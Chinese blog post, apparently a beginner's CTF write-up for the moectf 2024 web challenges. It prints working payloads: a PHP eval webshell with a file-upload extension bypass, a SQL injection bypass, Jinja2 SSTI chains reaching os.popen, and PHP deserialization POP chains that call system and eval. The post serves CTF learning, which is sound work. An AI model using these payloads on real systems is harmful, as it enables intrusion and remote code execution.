首页 > 其他分享 >moectf-wp(web)

moectf-wp(web)

时间:2024-10-07 13:59:49浏览次数:9  
标签:__ web class __.__ flag wp moectf public 输入

记录下自己做题的经历,欢迎老登们参观

1.入门指北:

没啥好说的,解压以后phpstudy开一个网页放在文件夹里直接就能出flag。

2.弗拉格之地的入口:

题目也是非常直接(毕竟是引导我这种小白),我直接召唤dirsearch扫描,也是顺利得到结果 ,打开网页

进入/webtutorEntry.php,成功获得本题flag

3.垫刀之路01: MoeCTF?启动!

看到命令框直接ls加cat结果发现不在这,让我们查找环境变量。

那就查找环境变量,直接出了flag(虽然很简单,但是其实教会了我这个小白怎么查找环境变量)。

4.ez_http:

使用HackBar跟着指导做即可:

(1)post随便发一个值然后根据提示post输入imoau=sb;

(2)url后根据提示get输入"?xt=大帅b";

(3)Referer设置为https://www.xidian.edu.cn/;

(4)设置cookie为"user=admin";

(5)User Agent设置为MoeDedicatedBrowser;

(6)提示"Local access only",故直接添加header为X-Forwarded-For : 127.0.0.1

喜提flag:

5.ProveYourLove:

先随便提交一份发现无法再次提交,F12发现只能提交一次。虽然说看不懂代码,但能看出第二次提交被ban了,又发现提交表白数据和更新表白次数先后响应,考虑能不能卡住时间多发请求,想到了burp抓包,当然得重新开一次容器。

如图配置一下,退出后显示flag:

6.弗拉格之地的挑战:

前面两个分别查看源代码和响应头,直接跳转到第三个,第三个用HackBar在url输入"?a=1",post输入"b=2",后说用admin身份验证,直接将cookie的值改成admin就行了,刷新得到第三串flag。

进入第四关前要求"从http://localhost:8080/flag3cad.php?a=1 点击链接过来",那就把Referer改为http://localhost:8080/flag3cad.php?a=1。

正式进入第四关,

确实有点抽象,但是可以F12一下发现可以把这里的8(别的也行)的id值改成9。

然后点击原本8的按钮就可以了,提示使用console.log为我们生成flag,就直接看F12控制台出的日志信息就行了,顺便前往第五关。

第五关让我们输入"I want flag"直接输入后弹出"你就这么直接?"发现是以弹窗形式的提示,赶紧观察查看器里面的代码发现有一个event

直接给它关了,再次输入"I want flag"得到flag5。

进入第六关是一个非常简单的代码审计,

提示要以get和post形式输入两个$moe并且get输入的$moe不能含有"flag"但是得符合不受大小写的"flag",故输入?moe=Flag同时别忘了post输入moe=1。进入第七关。

第七关让我们借用"eval($_POST['what']);"的力量,那直接post输入"what=phpinfo();"发现没有flag,那就改成"what=system("ls ../../../");"发现有一个flag7文件,直接查看"what=system("cat ../../../flag7");"喜提最后一段flag,最后将前面获得的flag碎片拼起来解个码就可以得到flag了。

7.ImageCloud前置

观察源码使用file伪协议读取文件,输入'file://'发现无事发生,于是加一个斜杠'file:///'

接着根据提示进入etc/passwd得到flag

8.垫刀之路02: 普通的文件上传

没有对文件形式进行限制,直接上传.php文件写入一句话木马即可

<?php @eval($_POST['pass']);?>

接着进入上传页面并如图发出post请求进入phpinfo();查找(Ctrl+F)得到flag

9.垫刀之路03: 这是一个图床:

依旧上传木马文件发现限制了文件类型,那就把木马文件的后缀名改为".jpg"上传时使用burp改包改为".php"文件再发出,下面做法就与上面相同,flag也是在phpinfo();里面。

10.登陆网站:

告诉我们用户名为admin123,密码难以破解,那就考虑sql注入

点击登录即得flag:

11.垫刀之路07: 泄漏的密码:

网页告诉我们pin码,先使用dirsearch扫描出登陆页面,

进入后输入对应的pin,来到console发现是python的控制台。

找了挺久没找到最后发现就在当前目录……

12.垫刀之路04: 一个文件浏览器:


告诉我们这个页面没用,那我们直接换个页面,改url后面的path就行

终于找到了flag但是打开后显示不在此位置但是提示位置不远,最后在tmp里面找到flag

13.静态网页:

看看源码,发现给了提示

直接点没有任何结果,那就抓个包

让我们进入/final1l1l_challenge.php。进入后是一段php代码

意思是让我们get输入a,post输入b,且两个变量都不是数字,然后a弱相等等于0,md5($a)和b的第$a个元素弱相等,那其实只要a第一位数字是字母,md5($a)为经典0e开头数字,b随便取个0k就行,构造?a=QNKCDZO,post输入b=0k就可以了。得到flag。

14.电院_Backend:

先扫描发现/admin/这个目录,直接进入

看看源码发现or被ban掉了,那就换成||,输入sql万能语句

[email protected]' || 1=1 #

随便输个密码,填好验证码后显示我们登陆成功,取得flag(就是消失的速度有点快)。

15.勇闯铜人阵:

没啥好说的,直接写脚本,把url换成自己题目的(真头一回写,写了好久)

import requests
session=requests.session()
url="http://127.0.0.1:53592/"
data={
    'player':'wuxuanyi',
    'direct':'弟子明白'
}
a=["北方","东北方","东方","东南方","南方","西南方","西方","西北方"]
b=["北方一个","东北方一个","东方一个","东南方一个","南方一个","西南方一个","西方一个","西北方一个"]
t=['1','2','3','4','5','6','7','8']
n=1
response=session.post(url=url,data=data)
while n<=6:
    x=0
    list1=[]
    m=response.text[-30:-21]
    for i in m:
        if i in t:
            x+=1
            list1.append(int(i))
    if x==1:
        data1 ={
            'player':'wuxuanyi',
            'direct': f'{a[list1[0]-1]}'
        }
        response= session.post(url=url, data=data1)
        print(response.text)
    if x==2:
        data2 = {
            'player':'wuxuanyi',
            'direct': f'{b[list1[0]-1]},{b[list1[1]-1]}'
        }
        response= session.post(url=url, data=data2)
        print(response.text)
    n+=1

运行得到flag:

16.who's blog?

传一个?id=1发现页面发生变化,感觉像是ssti注入

输入?id={{7*7}}发现回显49,那就可以确定了。先拿基类

?id={{().__class__.__base__}}

再拿子类

?id={{().__class__.__base__.__subclasses__()}}

找到warnings.catch项,代码定位位置

?id={{().__class__.__base__.__subclasses__()[239]}}

下面确定存在eval内置函数

?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__}}

调用一下发现没有flag

?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}

直接考虑找环境变量

?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__.__builtins__['eval']('__import__("os").popen("export").read()')}}

成功找到flag

17.垫刀之路06: pop base mini moe:

考验我们审计代码的能力(这个我是真没有)。意思是有两个类A和B和一个析构函数,一个魔术方法__invoke()。我们可以利用这个invoke调用b作为一个函数,前面的$s恰好能触发这个魔术方法,只要把B放入A中,写写代码(藏了点私货):

<?php

class A {
    // 注意 private 属性的序列化哦
    private $evil = "ls /";

    // 如何赋值呢
    private $a;
    function C1432($t){
        $this->a=$t;
    }

    function __destruct() {
        $s = $this->a;
        $s($this->evil);
    }

}

class B {
    private $b = system;

    function __invoke($c) {
        $s = $this->b;
        $s($c);
    }
}
$m = new A();
$n = new B();
$m->C1432($n);

echo urlencode(serialize($m));
?>

查找到目录有flag,直接换成cat指令读出即可。

16.pop moe:

先观察代码,发现有四个类,注意几个魔术方法。发现反序列化的时候会先执行析构函数(__destruct()),然后查看pay10ad的值,所以可以先把初始值赋1,注意最后面的eval,这显然是我们想最终达到的地方,我们希望能执行phpinfo();之类的命令,那我们正向看看,看class000,由于这里面的$a会作为函数执行,我们先办法把$what赋值成class001类,进而赋值给$a,这样我们就可以调用class001里面的魔术方法__invoke,下面考虑触发魔术方法__set发现有个一变量payload是不存在的,那我们只要把这里的$a赋值为class002,下面的逻辑就是打开dangerous函数,并给参数为class003,这样可以调用魔术方法__tostring,这样将参数$mystr最终传给evvval函数执行,构造payload如下:

<?php

class class000 {
    private $payl0ad=1;
    protected $what;
    function c1432($t){
        $this->what=$t;
    }

    public function __construct()
    {
        $this->what;
    }

    // public function check()
    // {
    //     if($this->payl0ad === 0)
    //     {
    //         die('FAILED TO ATTACK');
    //     }
    //     $a = $this->what;
    //     $a();
    // }
}

class class001 {
    public $payl0ad=dangerous;
    public $a;
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;
    }
}

class class002 {
    private $sec;
    function C123($t){
        $this->sec=$t;
    }
    public function __set($a, $b)
    {
        $this->$b($this->sec);
    }

    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }

}

class class003 {
    public $mystr='phpinfo();';
    public function evvval($str)
    {
        eval($str);
    }

    public function __tostring()
    {
        return $this->mystr;
    }
}

$m=new class000();
$n=new class001();
$m->c1432($n);
$s=new class002();

$n->a=$s;

$t=new class003();
$s->C123($t);
echo urlencode(serialize($m)); 
?>

可以在phpinfo();里面搜索得到flag。

~~目前只会这么多了QwQ

标签:__,web,class,__.__,flag,wp,moectf,public,输入
From: https://www.cnblogs.com/c1432/p/18442413

相关文章

  • 2024熵密杯wp
    第一部分:初始谜题这一部分算是开胃菜,形式也更像平时见到的CTF题目,三个题目都是python加密的,做出其中任意一个就可以进入第二部分,也就是一个更类似真实情境的大型密码渗透系统。但每个初始谜题都是有分数的,所以就算开了第二部分也当然要接着做。每个题目也都有前三血的加成,一血5%,二......
  • 2024高校网络安全管理运维赛 wp
    0x00前言本文是关于“2024高校网络安全管理运维赛”的详细题解,主要针对Web、Pwn、Re、Misc以及Algorithm等多方向题目的解题过程,包含但不限于钓鱼邮件识别、流量分析、SQLite文件解析、ssrf、xxe等等。如有错误,欢迎指正。0x01Misc签到给了一个gif,直接在线分帧得到synt{fvtava-dh......
  • WPF MVVM第一篇-MVVM框架搭建
    1.创建view界面<Windowx:Class="WpfFramework.MainWindow"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d="http://schema......
  • 江苏省第二届数据安全技术应用职业技能竞赛初赛WP
    一、数据安全解题赛1、ds_0602解题思路题目让我们获取加密文件中的原始数据,解密后提交第六行第二列数据,下载附件,发现里面有两个文件,其中一个是“.enc”结尾,那这里我们得先简单了解一下“.enc”结尾的是什么类型的文件。简单来说“.enc”结尾的文件通常是经过加密的文件。具体来说,......
  • CherryPy :一个轻量级的 Python Web 框架
    CherryPy是一个用于构建Web应用的微框架。它通过简洁的API和强大的功能,使开发者能够快速创建高性能的Web应用。在生物信息开发中,数据库搭建和模型部署等场景可能会用到,因此记录下。学习资源官方文档:https://docs.cherrypy.dev/en/latest/GitHub项目:https://github.......
  • go web的json系列化
     打开APP  golangWEB应用【2】:json数据处理应用 原创https://blog.csdn.net/loo_Charles_ool/article/details/138916161原地址2024-05-1517:33:48阅读量980收藏28 32赞一叶萩Charles 码龄7年关注 文章目录json数据处理应用JS......
  • WPF string format
    Text="{BindingStringFormat={}{0}items,Source={StaticResourcemainVM},Path=Cnt}"                //xaml<Windowx:Class="WpfApp17.MainWindow"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/pre......
  • 使用宝塔WebHook自动同步Gitlab提交的代码
    一、配置SSH创建SSH密钥打开终端。生成SSH密钥:使用以下命令生成一个新的SSH密钥对:ssh-keygen-trsa-b4096-C"[email protected]"-trsa 指定密钥类型为RSA。-b4096 指定密钥长度为4096位。-C"[email protected]" 用于添加注释(通常是......
  • SEHS4517 Web Application Development
    SEHS4517WebApplicationDevelopmentandManagementSemester1,2024-2025AssignmentIndividualAssignment(30%oftheassessmentofthiscourse)Thisindividualassignmentaims:Toconductresearchonrelevantreferencematerialsorsources.Todeve......
  • 好用的websocket 心跳重连js脚本
    varwsUrl='ws://'+(document.domain||'127.0.0.1')+':8282';varws=null;//WebSocket对象varheartbeatTimer=null;//心跳定时器varisReconnect=true;//是否自动重连//创建WebSocket连接//@authhttps://so.csdn.net/so/aifu......